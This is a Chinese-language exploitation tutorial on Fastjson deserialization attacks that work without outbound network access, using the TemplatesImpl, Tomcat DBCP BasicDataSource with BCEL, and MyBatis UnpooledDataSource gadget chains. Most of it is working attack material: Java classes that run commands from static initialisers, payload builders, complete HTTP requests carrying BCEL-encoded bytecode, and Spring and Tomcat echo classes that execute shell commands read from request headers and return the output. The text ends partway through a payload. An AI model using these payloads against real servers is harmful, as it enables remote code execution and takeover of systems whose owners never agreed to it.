Fasjson漏洞不出网（本地序列化）
说明
fastjson getshell的时候 需要构造一个恶意类
用的 rmi和jdni协议都是要出网的。在内网的情况下如果不出网的情况下就难以利用。
TemplatesImpl
这个利用链有限制的。由于该字段在fastjson1.2.22版本引入，所以只能影响1.2.22-1.2.24
使用条件
1. parseObject(input,Object.class,Feature.SupportNonPublicField)
2. parse(input,Feature.SupportNonPublicField)
这里解释一下payload的构造：
@type：当fastjson根据json数据对TemplatesImpl类进行反序列化时，会调用TemplatesImpl类的getOutputProperties方法触发利用链加载_bytecodes属性中的TempletaPoc类字节码并实例化，执行RCE代码。
_bytecodes：主要是恶意类TempletaPoc的字节码。
_name：关于_name属性，在调用TemplatesImpl利用链的过程中，会对_name进行不为null的校验，因此_name的值不能为null（具体可参考CC2利用链）
_tfactory：在调用TemplatesImpl利用链时，defineTransletClasses方法内部会通过_tfactory属性调用一个getExternalExtensionsMap方法，如果_tfactory属性为null则会抛出异常，无法根据_bytecodes属性的内容加载并实例化恶意类
outputProperties：json数据在反序列化时会调用TemplatesImpl类的getOutputProperties方法触发利用链，可以理解为outputProperties属性的作用就是为了调用getOutputProperties方法。
创建项目
创建一个项目
新建立一个类App.java
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| package garck;
import com.alibaba.fastjson.JSON;
class User{
private String id;
User(){
System.out.println("User go");
}
public void setId(String ids){
System.out.println("setId go");
this.id=ids;
}
public String getId(){
System.out.println("GetId go");
return this.id;
}
@Override
public String toString() {
return "User{" +
"id='" + id + '\'' +
'}';
}
}
public class App
{
public static void main(String[] args){
System.out.println(JSON.parse("{\"@type\":\"garck.User\",\"id\":\"110\"}"));
}
}
|
添加依赖
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| <dependencies>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.22</version>
</dependency>
</dependencies>
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完整的pom.xml
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| <?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>org.example</groupId>
<artifactId>fastJsonSecNoNetwork</artifactId>
<version>1.0-SNAPSHOT</version>
<dependencies>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.22</version>
</dependency>
</dependencies>
</project>
|
运行
把方法删掉无法获取值
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| package garck;
import com.alibaba.fastjson.JSON;
class User{
private String id;
User(){
System.out.println("User go");
}
@Override
public String toString() {
return "User{" +
"id='" + id + '\'' +
'}';
}
}
public class App
{
public static void main(String[] args){
System.out.println(JSON.parse("{\"@type\":\"garck.User\",\"id\":\"110\"}"));
}
}
|
User go
User{id=’null’}
私有变量 加上 Feature.SupportNonPublicField 是可以进行赋值的。
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| package garck;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
class User{
private String id;
User(){
System.out.println("User go");
}
@Override
public String toString() {
return "User{" +
"id='" + id + '\'' +
'}';
}
}
public class App
{
public static void main(String[] args){
System.out.println(JSON.parse("{\"@type\":\"garck.User\",\"id\":\"110\"}",Feature.SupportNonPublicField));
}
}
|
User go
User{id=’110’}
是的，就是7U21链里面的TemplatesImplcom.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
这个类本身就存在反序列化漏洞，会将成员变量_bytecodes的数据作为类的字节码进行newInsantce操作从而调用其构造方法或static块。故可以fastjson为契机去调用此类。
但是由于_name 和_bytecodes 是私有属性，所以需要FASTJSON反序列化接口有Feature.SupportNonPublicField参数才能实现，利用条件很苛刻，但是条件允许的话就很方便，payload打过去就完事。
“_tfactory这个字段在TemplatesImpl既没有get方法也没有set方法，这没关系，我们设置_tfactory为{ },fastjson会调用其无参构造函数得_tfactory对象，这样就解决了某些版本中在defineTransletClasses()用到会引用_tfactory属性导致异常退出。”
创建Evil类
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| package garck;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class Evil extends AbstractTranslet {
static {
try {
String[] cmd = {"calc"};
java.lang.Runtime.getRuntime().exec(cmd).waitFor();
} catch ( Exception e ) {
e.printStackTrace();
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
|
javac Evil.java编译该类
得到class
构造恶意类 编译 读取文件得到payload
创建一个FastjsonTemplatesImpl类
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| package garck;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
public class FastjsonTemplatesImpl {
public static void main(String[] args) throws IOException {
byte[] code = Files.readAllBytes(Paths.get("E:\\code\\java_code\\vulnerability_Recurrence\\fastJsonSecNoNetwork\\src\\main\\java\\garck\\Evil.class"));
String byteCode = Base64.getEncoder().encodeToString(code);
final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
String payload = "{\"@type\":\"" + NASTY_CLASS +
"\",\"_bytecodes\":[\""+byteCode+"\"]," +
"'_name':'Evil'," +
"'_tfactory':{}," +
"\"_outputProperties\":{}}\n";
System.out.println(payload);
Object object = JSON.parseObject(payload, Feature.SupportNonPublicField);
}
}
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运行该类，成功反序列化
BasicDataSource（BCEL字节码利用）
条件：
利用链：
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| Tomcat 8.0以下使用 的链
org.apache.tomcat.dbcp.dbcp.BasicDataSource
Tomcat 8.0以后使用 的链（内置的 DBCP2；与Tomcat容器集成使用）
org.apache.tomcat.dbcp.dbcp2.BasicDataSource
数据库DBCP链接池（项目的通用数据库连接池实现，具有灵活的配置选项，并且可以自动管理和重复使用预配置数量的数据库连接来提升应用程序性能。不同项目间通用或需要更加灵活的配置选项）
org.apache.commons.dbcp.BasicDataSource
|
BasicDataSource攻击链只能用于Fastjson 1.2.24及更低版本；1.2.25 以后autotype默认开启
而在tomcat中的 com.sun.org.apache.bcel.internal.util.ClassLoader 的loadclass方法中可以进行bcel字节码的加载。
在payload包里面创建一个恶意类Test.java
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import java.io.IOException;
public class Test {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}
}
|
或者Exploit_win_calc.java
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| public class Exploit_win_calc {
public Exploit_win_calc() {
try {
String[] var1 = new String[]{"calc.exe"};
Process var2 = Runtime.getRuntime().exec(var1);
var2.waitFor();
} catch (Exception var3) {
var3.printStackTrace();
}
}
public static void main(String[] var0) {
new Exploit_win_calc();
}
}
|
创建一个实现类fastJsonBecl.java
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| package garck1;
import com.alibaba.fastjson.JSON;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import java.nio.file.Files;
import java.nio.file.Paths;
class fastJsonBecl {
public static void main(String[] argv) throws Exception{
byte[] bytes = Files.readAllBytes(Paths.get("E:\\code\\java_code\\vulnerability_Recurrence\\fastJsonSecNoNetwork\\src\\main\\java\\payload\\Exploit_win_calc.class"));
String code = Utility.encode(bytes,true);
String poc = "{\n" +
" {\n" +
" \"aaa\": {\n" +
" \"@type\": \"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\n" +
" \"driverClassLoader\": {\n" +
" \"@type\": \"com.sun.org.apache.bcel.internal.util.ClassLoader\"\n" +
" },\n" +
" \"driverClassName\": \"$$BCEL$$"+ code+ "\"\n" +
" }\n" +
" }: \"bbb\"\n" +
"}";
System.out.println(poc);
JSON.parse(poc);
}
}
|
运行之后只输出了poc没有其它
原因是缺少了tomcat-dbcp依赖，在pom.xml中添加之后，更新一下即可
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| <dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-dbcp</artifactId>
<version>9.0.8</version>
</dependency>
|
更新
运行
BCEL的EXP
可用于解决不出网利用。 需要注意在Java 8u251以后，bcel类被删除。
tomcat7
org.apache.tomcat.dbcp.dbcp.BasicDataSource
tomcat8及其以后
org.apache.tomcat.dbcp.dbcp2.BasicDataSource
执行命令回显(Spring)
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| POST /json HTTP/1.1
Host: 127.0.0.1:9092
Content-Type: application/json
cmd: whoami
Content-Length: 3327
{
{
"@type": "com.alibaba.fastjson.JSONObject",
"x":{
"@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
"driverClassLoader": {
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName": "$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$8dV$cb$5b$TW$U$ff$5dH27$c3$m$g$40$Z$d1$wX5$a0$q$7d$d8V$81Zi$c4b$F$b4F$a5$f8j$t$c3$85$MLf$e2$cc$E$b1$ef$f7$c3$be$ec$a6$df$d7u$X$ae$ddD$bf$f6$d3$af$eb$$$ba$ea$b6$ab$ae$ba$ea$7fP$7bnf$C$89$d0$afeq$ee$bd$e7$fe$ce$ebw$ce$9d$f0$cb$df$3f$3e$Ap$I$df$aaHbX$c5$IF$a5x$9e$e3$a8$8a$Xp$8ccL$c1$8b$w$U$e4$U$iW1$8e$T$i$_qLp$9c$e4x$99$e3$94$bc$9b$e4$98$e2$98VpZ$o$cep$bc$c2qVE$k$e7Tt$e2$3c$c7$F$b9$cep$bc$ca1$cbqQ$G$bb$c4qY$c1$V$VW$f1$9a$U$af$ab0PP$b1$h$s$c7$9c$5c$85$U$f3$i$L$iE$F$96$82E$86$c4$a8$e5X$c1Q$86$d6$f4$c0$F$86X$ce$9d$T$M$j$93$96$p$a6$x$a5$82$f0$ce$Z$F$9b4$7c$d4$b4$pd$7b$3e0$cc$a5$v$a3$5c$bb$a2j$U$yQ$z$94$ac$C$9b$fc2$a8y$b7$e2$99$e2$84$r$z$3b$f2e$cfr$W$c6$cd$a2$9bY4$96$N$N$H1$a4$a0$a4$c1$81$ab$a1$8ck$M$a3$ae$b7$90$f1k$b8y$cf$u$89$eb$ae$b7$94$b9$$$K$Z$d3u$C$b1$Sd$3cq$ad$o$fc$ms6$5cs$a1z$c2$b5$e7$84$a7$c0$d3$e0$p$60$e8Z$QA$84$Y$L$C$cf$wT$C$e1S$G2l$d66$9c$85l$ce6$7c_C$F$cb$M$9b$d7$d4$a7$L$8b$c2$M$a8$O$N$d7$b1$c2p$ec$ff$e6$93$X$de$b2$bda$d0$b6Z$$$7e$d9u$7c$oA$5d$cb$8ca$a7$M$bc$92$f1C$db5$lup$92$c03$9e$V$I$aa$eb$86$ccto$b3A1$I$ca$99$J$S$cd$d1C$c3$Ja$Q$tM$d5$e5$DY$88$867$f0$s$f5$d9$y$cd1$u$ae$9fq$a80$Foix$h$efhx$X$ef$d1$e5$cc$c9i$N$ef$e3$D$86$96$acI$b0l$c1r$b2$7e$91$8eC$a6$86$P$f1$R$e9$q$z$81$ed0l$a9$85$a8$E$96$9d$cd$9b$86$e3$c8V$7c$ac$e1$T$7c$aa$e13$7c$ae$e0$a6$86$_$f0$a5l$f8W$e4$e1$f2$98$86$af$f1$8d$86$5b2T$7c$de$aeH$c7q$d3ve$d1$9dk$f9$8e$af$98$a2$iX$$$85$e85$ddRv$de$f0$83E$dfu$b2$cb$V$8a$b4$3aM$M$3dk6$9e$98$b7$a9$85$d9$v$R$U$5d$w$b0$f3$d2$e4$a3$E$8c4$91r$ae$e8$RS4$cdf$c5$f3$84$T$d4$cf$5d$e9$81$c9GQd$d9M$d4FSW$9b$a1I7$a4Yo$827$5cI$9b$N$_$a8M6mj$gjmz$7d$9e$eb$3c$8e$84$ad$ad$d7vl$D$9bK$ebl$g$bd4$b3C$ee$S$96$b3$ec$$$R$edG$g$7d$85$cf$a0$c9W$a4$gX$af$a2$feSN$c7$85i$h$9e$98$ab$e7$d6$ee$8b$60$cc4$85$ef$5b$b5$efF$y$7dQ$7eW$g$a7$f1$86$l$88R$f8$40$cexnYx$c1$N$86$7d$ff$c1$c3j$L$db$C$f7$7c$99$8cr$86$9c$9a$e6n$ad$82$b8$7c$a7$86$e5$Q$c1$bd$8d$8esE$c3$cb$cb$d7$e2$98bd$e0$o$Be$5b$c3Nt$ae$ef$e4H$7d$c6k$aa$b3$V$t$b0J$f5$c7$5c$3ft7$99Ej2$8c$89$VA$_$u$9d$de$60$Q$h$z$88$C$c9Vs$a8H$c9$b0$89B$9dt$ca$95$80$y$85A$acm$ab$87$b3$dcl$c3$F$99$f7$a47$bc$90$eck$V_$i$X$b6U$92$df$U$86$fd$ff$ceu$e3c$96E84$ef$e8$c3$B$fa$7d$91$7f$z$60$f2$ebM2C$a7$9d$b42Z$e3$83w$c1$ee$d0$86$nK2QS$s$c0$f1D$j$da$d2O$O$da$Ip$f5$kZ$aahM$c5$aa$88$9f$gL$rZ$efC$a9$82O$k$60$b4KV$a1NE$80$b6$Q$a0$d5$B$83$a9$f6h$3b$7d$e0$60$84$j$8e$N$adn$e3$91$dd$s$b2Ku$84$d0$cd$c3$89H$bbEjS1$d2$ce$b6$a6$3a$f3$f2J$d1$VJ$a2KO$84R$8f$d5$3dq$5d$d1$e3$EM$S$b4$9b$a0$ea$cf$e8$iN$s$ee$93TS$5b$efa$5b$V$3d$v$bd$8a$ed$df$p$a5$ab$S$a3$ab$b1To$fe6$3a$e4qG$ed$b8$93d$5cO$e6u$5e$c5c$a9$5d$8d$91u$k$3a$ff$J$bbg$ef$a1OW$ab$e8$afb$cf$5d$3c$9e$da$5b$c5$be$w$f6$cb$a03$a1e$3a$aaD$e7Qz$91$7e$60$9d$fe6b$a7$eeH$e6$d9$y$bb$8cAj$95$ec$85$83$5e$92IhP$b1$8d$3a$d0G$bb$n$b4$e306$n$87$OLc3f$b1$F$$R$b8I$ffR$dcB$X$beC7$7e$c0VP$a9x$80$k$fc$K$j$bfa$3b$7e$c7$O$fcAM$ff$T$bb$f0$Xv$b3$B$f4$b11$f4$b3Y$ec$a5$88$7b$d8$V$ec$c7$93$U$edY$c4$k$S$b8M$c1S$K$9eVp$a8$$$c3M$b8$7fF$n$i$da$k$c2$93s$a3$e099$3d$87k$pv$e4$l$3eQL$40E$J$A$A"
}
}: "x"
}
|
EXP(Spring)
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|
package com.fastjson.vul;
import java.lang.reflect.Method;
import java.util.Scanner;
public class SpringEcho {
public SpringEcho() {
}
static {
try {
Class var0 = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.RequestContextHolder");
Method var1 = var0.getMethod("getRequestAttributes");
Object var2 = var1.invoke((Object)null);
var0 = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.ServletRequestAttributes");
var1 = var0.getMethod("getResponse");
Method var3 = var0.getMethod("getRequest");
Object var4 = var1.invoke(var2);
Object var5 = var3.invoke(var2);
Method var6 = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.ServletResponse").getDeclaredMethod("getWriter");
Method var7 = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.http.HttpServletRequest").getDeclaredMethod("getHeader", String.class);
var7.setAccessible(true);
var6.setAccessible(true);
Object var8 = var6.invoke(var4);
String var9 = (String)var7.invoke(var5, "cmd");
String[] var10 = new String[3];
if (System.getProperty("os.name").toUpperCase().contains("WIN")) {
var10[0] = "cmd";
var10[1] = "/c";
} else {
var10[0] = "/bin/sh";
var10[1] = "-c";
}
var10[2] = var9;
var8.getClass().getDeclaredMethod("println", String.class).invoke(var8, (new Scanner(Runtime.getRuntime().exec(var10).getInputStream())).useDelimiter("\\A").next());
var8.getClass().getDeclaredMethod("flush").invoke(var8);
var8.getClass().getDeclaredMethod("close").invoke(var8);
} catch (Exception var11) {
}
}
}
|
执行命令回显(Tomcat)
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| PUT /tmall/admin/product/173 HTTP/1.1
Host: 192.168.75.154:8090
User-Agent: Mozilla/9.0 (Macintosh; M2 Mac OS X 16.12; rv:129.0) Gecko/20230101 Firefox/169.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 9784
Testecho:1
Testcmd:id
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|
EXP(Tomcat)
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| package payload;
import java.lang.reflect.Field;
import java.util.List;
import java.util.Scanner;
public class TomcatEcho {
public TomcatEcho() {
}
private static void writeBody(Object var0, byte[] var1) throws Exception {
Object var2;
Class var3;
try {
var3 = Class.forName("org.apache.tomcat.util.buf.ByteChunk");
var2 = var3.newInstance();
var3.getDeclaredMethod("setBytes", byte[].class, Integer.TYPE, Integer.TYPE).invoke(var2, var1, new Object[]{new Integer(0), new Integer(var1.length)});
var0.getClass().getMethod("doWrite", var3).invoke(var0, var2);
} catch (ClassNotFoundException var5) {
var3 = Class.forName("java.nio.ByteBuffer");
var2 = var3.getDeclaredMethod("wrap", byte[].class).invoke(var3, var1);
var0.getClass().getMethod("doWrite", var3).invoke(var0, var2);
} catch (NoSuchMethodException var6) {
var3 = Class.forName("java.nio.ByteBuffer");
var2 = var3.getDeclaredMethod("wrap", byte[].class).invoke(var3, var1);
var0.getClass().getMethod("doWrite", var3).invoke(var0, var2);
}
}
private static Object getFV(Object var0, String var1) throws Exception {
Field var2 = null;
Class var3 = var0.getClass();
while(var3 != Object.class) {
try {
var2 = var3.getDeclaredField(var1);
break;
} catch (NoSuchFieldException var5) {
var3 = var3.getSuperclass();
}
}
if (var2 == null) {
throw new NoSuchFieldException(var1);
} else {
var2.setAccessible(true);
return var2.get(var0);
}
}
static {
try {
boolean var0 = false;
Thread[] var1 = (Thread[])((Thread[])getFV(Thread.currentThread().getThreadGroup(), "threads"));
for(int var2 = 0; var2 < var1.length; ++var2) {
Thread var3 = var1[var2];
if (var3 != null) {
String var4 = var3.getName();
if (!var4.contains("exec") && var4.contains("http")) {
Object var5 = getFV(var3, "target");
if (var5 instanceof Runnable) {
try {
var5 = getFV(getFV(getFV(var5, "this$0"), "handler"), "global");
} catch (Exception var11) {
continue;
}
List var6 = (List)getFV(var5, "processors");
for(int var7 = 0; var7 < var6.size(); ++var7) {
Object var8 = var6.get(var7);
var5 = getFV(var8, "req");
Object var9 = var5.getClass().getMethod("getResponse").invoke(var5);
var4 = (String)var5.getClass().getMethod("getHeader", String.class).invoke(var5, new String("Testecho"));
if (var4 != null && !var4.isEmpty()) {
var9.getClass().getMethod("setStatus", Integer.TYPE).invoke(var9, new Integer(200));
var9.getClass().getMethod("addHeader", String.class, String.class).invoke(var9, new String("Testecho"), var4);
var0 = true;
}
var4 = (String)var5.getClass().getMethod("getHeader", String.class).invoke(var5, new String("Testcmd"));
if (var4 != null && !var4.isEmpty()) {
var9.getClass().getMethod("setStatus", Integer.TYPE).invoke(var9, new Integer(200));
String[] var10 = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", var4} : new String[]{"/bin/sh", "-c", var4};
writeBody(var9, (new Scanner((new ProcessBuilder(var10)).start().getInputStream())).useDelimiter("\\A").next().getBytes());
var0 = true;
}
if ((var4 == null || var4.isEmpty()) && var0) {
writeBody(var9, System.getProperties().toString().getBytes());
}
if (var0) {
break;
}
}
if (var0) {
break;
}
}
}
}
}
} catch (Exception var12) {
}
}
}
|
MyEXP(Tomcat)
abitis 回显EXP
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| <dependency>
<groupId>org.mybatis</groupId>
<artifactId>mybatis</artifactId>
<version>3.5.2</version>
</dependency>
|
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| POST
Testcmd:whoami
{"@type":"com.alibaba.fastjson.JSONObject","name":{"@type":"java.lang.Class","val":"org.apache.ibatis.datasource.unpooled.UnpooledDataSource"},"c":{"@type":"org.apache.ibatis.datasource.unpooled.UnpooledDataSource","key":{"@type":"java.lang.Class","val":"com.sun.org.apache.bcel.internal.util.ClassLoader"},"driverClassLoader":{"@type":"com.sun.org.apache.bcel.internal.util.ClassLoader"},"driver":"{$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$a5Wyx$Ug$Z$ff$cd$5e3$3b$99$90dCB$W$uG$N$b09v$b7$a1$95B$c2$99$90$40J$S$u$hK$97P$db$c9$ec$q$3bd3$Tfg$J$a0$b6$k$d4$D$8fZ$8f$daPO$b4$ae$b7P$eb$s$U9$eaA$b1Z$8fzT$ad$d6zk$f1$f6$8f$da$f6$B$7c$bf$99$N$d9$84$ad$3c$3e$sy$be$f9$be$f7$7b$ef$f7$f7$be3y$fc$e2$p$a7$A$dc$80$7f$89$Q1$m$60P$84$PI$b6h$Cv$f3$Y$e2$91$f2$a3$E$c3$8c$a4$f30x$8c$88t$de$p$c2D$9a$JY$C2$ecr$_$8fQ$B$fb$E$ec$e7q$80$R$5e$c3$e3$b5$ec$f9$3a$R$d5$b8S$c4$5dx$3d$5b$de$m$e2$8dx$T$5b$O$K$b8$5bD7$de$cc$e3$z$ec$fcV$Bo$T$d1$84C$C$de$$$e0$j$3c$de$v$e0$5d$C$ee$R$f0n$k$f7$Kx$P$8f$f7$96$a0$B$efc$cb$fb$F$dc$t$e0$D$C$ee$e71$s$e00$T$bc$93$z$P$I$f8$a0$80$P$J$f8$b0$80$8f$88$f8$u$3e$c6$a8G$E$7c$5c$c0$t$E$3c$u$e0$93$C$b2$3c$3e$c5$e3$d3$o6$e03l$f9$ac$88$cf$e1$f3$o$d6$e3$L$C$be$c8$9eG$d9r$8c$89$3e$c4$7c$fc$S$d3$f4$b0$88$_$p$c7c$9c$83o$b5$a6k$d6Z$O$eeP$dd$z$i$3cmFB$e5P$d6$a5$e9jOf$b8_5$7b$e5$fe$UQ$fc$a3$a6f$a9$adFb$3f$879$a1$ae$dd$f2$5e9$9a$92$f5$c1$e8$d6$fe$dd$aab$b5$f4$b52$f1$d2$98$r$xC$dd$f2$88$zE$89$a4$U$da$b9$k$e2$m$b6$efS$d4$RK3$f44$H$ef$a0ju$90$c0$ca$o$aa$K$u1$cb$d4$f4$c1$96$ba$x$99xLPY8$I$ab$95$94$j$B$8f$e3$94$40$ca$_$r$97$c7$pd$_fdLE$ed$d0$98$fbe$bd$c6$b0$o$5b$edJ$d2$880$5d$Sz$b0$95C$ada$OF$e4$RYI$aa$R$cb$e6$88d$y$z$V$e9$cf$MDZ$f7$5bj$5b2$a3$PI8$81$afH8$89Sd$$$adZ$ec$82B$u$9b$f2$a9$z$r$a7$89$e2$eak$95p$gg$q$3c$8a$afr$u$9f$e94$87$8a$vR$a7n$a9$83$aa$c9$i$f9$g$8f$afK$f8$G$ceJx$M$e78$f0$Jc$H$cb$b6$84o2$3d$8bf$Y$ea1$ac$O$p$a3$t$$$e7$93C$rc$89$e8$9aa$7b$dd$9a$Z$YPM$w$e6$a8$v$8fpX8$r$dfc$c42J$b2$5b$b5$92$c6$94$b8$84$c7$f1$z$O$Lf$b2uhj$aa$90$eb$db8$c7$bc$7d$82R$_$e1$3b$f8$ae$84$ef$e1$fb$94v$JO$e2$H$S$7e$88$l$91$ebV$d2T$e5DZ$c2N$f4$91_$7d$F$95$eb$b5$afZ$q$fc$YO$91s$ea$3eU$91$f0$T$fc$94$f6I$cb$oG$7d$96l$S$$8$E$a6$84$b6gt$ddA$a0$cfJj$e9$da$eb$c8FR$d6$T$v$W$a0o0e$f4$cb$a9$7c$fc$8e$40AV$c4$R$d3P$d4t$da0$a98$b3l$WV$ddh$97$96$b6$q$fc$MO$b3$I$7eN$d07$d5$3d$iJ$c8$f4v5$3dB$f8dx$a7$d3fr$97$99$v$9f$JH$c2A$af$9a$b6TB$93$84_$e0$Zb$t$5c$Q$f6$ad$MY$f2$cb$89$c4$a4$u$cf$f8$94$e1$E$ed$8ctD$97$87$a9$v$7e$v$e1Y$fcJ$c2$afY$g$7c$a3$9a$9e0F$e9$9e$b8$o$94$T$82QT$a1c$b4_$d3$a3$e9$q$j$c3$ca$qpl$efc$8a$ac$ebLw$cd$94$5b$db$9c$40$5b3Z$w$e1$60$ea7$S$7e$8b$df$f1$f8$bd$84$3f$e0$8f$8c$f2$tR$b5k$83$84$e7p$5e$c2$9f$f1$94$84$bf$e0$af$S$b6$p$s$e1o$f8$3b$8f$7fH$f8$tsi$9eb$MG$H$e4$b4$b5$3bm$e8$d1$bd$99Tt$aay$a8$f9$a7$ac$9a$ea$40$8a$60$j$b5$812$zMN$a9g$d4$3f$df$cc$U$db$80a$f6P$w8$y$J$fd$f7f$b7$f1N$S$r$ba$3a$da$a9$a7$zYWHjv$a8$c8$40$m$U$f5$c6$b7$b5S$aa$8a$c8WP57$aaJJ6$d5$84$83$7e$O$eb$8b$d8$ee$bbB$b6$d0$d2d$bc$8e$Gf1$d4$c9$a6$5e$cd$cb$b1Py5$7d$af1D$3e$af$w63$af$q$V$NL$m$ef$f3$p$a62T$y$3d$M$ac$93$W$cb$LB$cd$X$s$7c$95$yO$ab$p$a9$x$r$V$b1$cc$88j$w$8e$d1$aab$f2l$da$T$e87$u$Mx$9a$dd$a1$9e$d0NFv$db$3d$bc$b4H$c0E$a3$xU2$a6$a9$ea$d6$qf$a6W7$3f4$a8$7fI$abs$d8d$g$Z$9a$W$c1$o$7c$f6$VC$Y1$3b$I$9b$ae$ed2$E$F$c5$d0$zYc$af$a2y$85$8e$b6$re3$a6$ee$c9$a8$E$b4$96$ba$9d$USZ$3b$a0$dao$c7N$96$88$ce$a2$n$f0Z$ba$7dx$c4$dao$f3$ed$9c$3e0$f6$d3$9c$Yv$a6$Lu$v$r$95$b1$z$bdJE$$$fbYb$Z$5d$c6$a8j$b6$c9l$uU$87$8a$f4$TK$b9$97Z$c3$b4$98$83$85Z$f2S$a1e$da$7b$tOt$S$da$a9$8fdhnQ$ea$86$d9k$3d$_$ac$Z$d1$82$L$S$af$J$V$bd$60$96$a5LZ$dd$a8$a6$b4az_$d1LZ$f6$f2$81$V$O$_$d6$3b$ba$ba$cfr$b0$9d$7f$a1zBu$7d$ad$O$fa$f2$99$d2$Y$b9$sT$a8$60$ea$86t$cc$$F$t$9d$96$e1$98$c6b$fa$e2$R$c1$7e$3c$e0$d8$x$9f$d6mt$ba$86$9e$i$3d$bd$f5$e3$e0$8e$d1$86$c3$cd$b4$fa$i$o$89$d0T$84$8b$b1r$a3$f4$91$e8$r$ea$8b$B$d7$E$dc$3d$e1$i$3c$dd$e1$80$d7w$S$be$b8$3b$c0$c7$e2$9e$87$m$c4$e2$5e$b6$e6$e0o$f4$9e$84$Yw7$Q$dd$d9$9d$40I$dc$3d$O$89$Il$dbp$8a$ed$89$b3tG$7d$O$b3$Ce$k$5bQ$98$u$e5$f5$k$5b$a2$d1$be$cd$e2P$b3$t$Q$b0m$G$w$3d$93$e6$c8D$d8$937Al$ddWS$d2$fe$ff$x9F$99$A$M$faN$ae$b0$9f$e3$98M$U$96$af$b5$u$a3$b5$83$f2$b6$89$b2$b4$99h$9dt$bf$9d8o$82$85$z8$80$$$dcG$rx$98h$e3$94$fe$e3T$80$d3$94$d5$a7$89$f3$F$f4$d2$_0$H$ee$e7a$f2x$d5$f3$d8$c8$e3$96$L$d8$c0c$H$8f$5b$R$cfW$ad$8e$caA$l$TN9$f0$A$dcv9Vr$b6$d7$U$96$f8$m$aa$c3$N9TugQ$da$ec$a1$C$cd$e9$c9$5ez$ae$f11H$tP$jo$YG$cd$e9FO$O$c1F$S$98$7b$944$96$a2$92$be$e4$ab$f3A$y$87D$eb$O$3a$dd$K$9e$y$95b$X$dd$dfF$f7$afF$Nn$t$ac$dc$81EPP$8b$E$c2$Y$m$feA$db$f1$Kx$$$80$e7$b1$8b$9c$ed$e1q$9b_$wpY$m$e1$3c$d8$dc$s$9dJ$A$d7$cd$ee$96$J$cc$cba$7e$e0$9a$J$y8$83$85$f4$d7$e5$5e3$bf$e1$d4$R$d7$f5$N$f3$97$f7$84$cf$ba$96$90$fb$8b$9a$3dAO$60q$O$d7$kvU$d1$ee$V$b4$hs$95$84$D$b5$q$d6$ec$Nz$l$c5$921$ee$a5$a07$b0$94$I$81el$J$d9WY$I$cd$be$y$f7$y$5d$d5$db$s$g$9a$7d$ee$V$7c$V$l$f4$jG$p$87$p$dc$a9$a0$af$8a$3f$8e$b0$L$cdBP$ID$f2$gY$fd$a3n$aa$3f$d5$3e$e8$a5$8dH$85o$f6$3b$X$d7$e5q$d3$U$b3o$3dyX7$c5$D$cb$c7q$3d$83$c8$Z41$9f$cfb$uH$89$be$e10$94$a0$9fI$be$d2$91tZ$a3$3c$e8$f7$5c$ee$88$K$9cc$7d$c0$e0$e5$b0$ae$f0N$g$89$7b$f2$96$fc$de$Z$96$e2d$c3$W$f1$b4$5c$cd$b3$hgz6$96$f7$ec$de$ff$c1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|
1.2.33 <= fastjson <= 1.2.47
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| POST /json HTTP/1.1
Host: 127.0.0.1:9092
Content-Type: application/json
cmd: whoami
Content-Length: 3647
{
"xx":
{
"@type" : "java.lang.Class",
"val" : "org.apache.tomcat.dbcp.dbcp2.BasicDataSource"
},
"x" : {
"name": {
"@type" : "java.lang.Class",
"val" : "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
{
"@type":"com.alibaba.fastjson.JSONObject",
"c": {
"@type":"org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
"driverClassLoader": {
"@type" : "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
